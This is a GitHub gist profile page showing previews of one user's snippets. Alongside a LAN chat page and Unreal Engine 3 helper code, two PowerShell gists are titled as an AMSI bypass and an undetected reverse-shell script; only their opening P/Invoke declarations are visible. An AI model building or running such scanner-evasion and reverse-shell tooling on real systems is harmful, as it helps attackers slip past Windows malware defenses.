Skip to content

Instantly share code, notes, and snippets.

View navaneeth-dev's full-sized avatar

Navaneeth Rao navaneeth-dev

View GitHub Profile
@navaneeth-dev
navaneeth-dev / index.html
Created February 22, 2024 14:34
LAN group chat
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Group Chat</title>
<script>
// Function to initialize WebSocket connection
function initWebSocket() {
// WebSocket connection URL
@navaneeth-dev
navaneeth-dev / amsi_bypass.ps1
Created February 7, 2024 16:24
AMSI Bypass
#Rasta-mouses Amsi-Scan-Buffer patch \n
$ynfhj = @"
using System;
using System.Runtime.InteropServices;
public class ynfhj {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
@navaneeth-dev
navaneeth-dev / ud_amsi_revshell.ps1
Created March 29, 2022 04:32
powershell UD amsi revshell script
#Rasta-mouses Amsi-Scan-Buffer patch \n
$ynfhj = @"
using System;
using System.Runtime.InteropServices;
public class ynfhj {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
<div class="row">
<div class="card">1</div>
<div class="card">2</div>
<div class="card">3</div>
</div>
@navaneeth-dev
navaneeth-dev / sdk.h
Created August 3, 2019 09:49
[UE3] Old general purpose sdk
class FVector
{
public:
float x, y, z;
FVector() {};
FVector(float x, float y, float z)
{
this->x;
@navaneeth-dev
navaneeth-dev / main.cpp
Created August 3, 2019 09:49
[UE3] Multi purpose World to screen
#define UCONST_Pi 3.1415926
#define URotation180 32768
#define URotationToRadians UCONST_Pi / URotation180
#define CONST_DegToUnrRot 182.0444
#define CONST_RadToUnrRot 10430.3783504704527
FVector RotationToVector(FRotator R)
{
FVector Vec;
float fYaw = R.yaw * URotationToRadians;